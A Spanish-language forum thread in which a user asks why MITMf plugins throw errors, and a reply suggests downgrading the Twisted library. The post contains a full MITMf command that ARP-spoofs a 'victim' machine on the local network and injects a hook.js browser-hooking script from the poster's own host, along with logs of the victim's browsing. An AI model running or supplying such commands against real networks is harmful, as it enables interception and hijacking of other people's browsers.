Buenas desde que instale el MITMf no he podido utilizar los plugins que trae, he intentado con todos y nada siempre me da error. he intentado con el plugin de inject js-url y me da este error
2016-04-23 01:00:20 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File "/usr/share/mitmf/core/proxyplugins.py", line 112, in hook
a = f(**args)
File "/usr/share/mitmf/plugins/inject.py", line 65, in response
mime = response.headers['Content-Type']
AttributeError: ClientRequest instance has no attribute 'headers'
2016-04-23 01:00:20 192.168.8.109 [type:IE-8 os:Windows 7] google.com
2016-04-23 01:00:20 192.168.8.109 [type:IE-8 os:Windows 7] anywebsite.com
2016-04-23 01:00:20 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File "/usr/share/mitmf/core/proxyplugins.py", line 112, in hook
a = f(**args)
File "/usr/share/mitmf/plugins/inject.py", line 65, in response
mime = response.headers['Content-Type']
AttributeError: ClientRequest instance has no attribute 'headers'
No se que pueda estar mal cuando el equipo victima abre una pagina web me tira ese error. el MITMf lo instale mediante apt-get install mitmf. el sistema que utilizo es Kali Linux 2016.1 de 64 bits
el codigo que use para mitmf fue este: mitmf -i wlan0 --spoof --arp --inject --js-url http://192.168.8.107:3000/hook.js --gateway 192.168.8.1 --target 192.168.8.109
AYUDA POR FAVOR
Hola, quizá deberias dar más informacion. Pero es probable que si estás usando Kali Linux Rolling, tengas el mismo problema que yo he tenido. Te paso como lo solucioné yo.
easy_install -U pip
pip install Twisted==15.5.0
Un saludo.